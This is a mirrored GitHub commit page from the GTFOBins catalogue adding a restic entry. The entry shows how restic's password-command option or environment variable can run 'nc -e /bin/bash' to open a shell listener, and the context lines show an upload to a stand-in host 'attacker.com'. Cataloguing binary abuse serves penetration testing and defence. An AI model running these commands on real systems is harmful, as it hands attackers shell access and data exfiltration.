mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add restic command
Signed-off-by: Juju <julien.clement@epita.fr>
This commit is contained in:
parent
97f46f1526
commit
dddc642f6f
@ -17,6 +17,11 @@ description: |
|
|||||||
|
|
||||||
Upload data to the attacker server with the following commands.
|
Upload data to the attacker server with the following commands.
|
||||||
functions:
|
functions:
|
||||||
|
command:
|
||||||
|
- description: The attacker does not need to setup a server to receive the backups in this case. Command execution can be achieved through control of argv or environment, many restic subcommands support this option, so even if the attacker control only a subset of argv, command execution may still be achievable.
|
||||||
|
code: |
|
||||||
|
RESTIC_PASSWORD_COMMAND='nc -l 127.0.0.1 -p 4321 -e /bin/bash' restic backup # Through environment
|
||||||
|
restic backup --password-command="nc -l 127.0.0.1 -p 4321 -e /bin/bash" # Through option
|
||||||
file-upload:
|
file-upload:
|
||||||
- code: |
|
- code: |
|
||||||
RHOST=attacker.com
|
RHOST=attacker.com
|
||||||
|
Loading…
Reference in New Issue
Block a user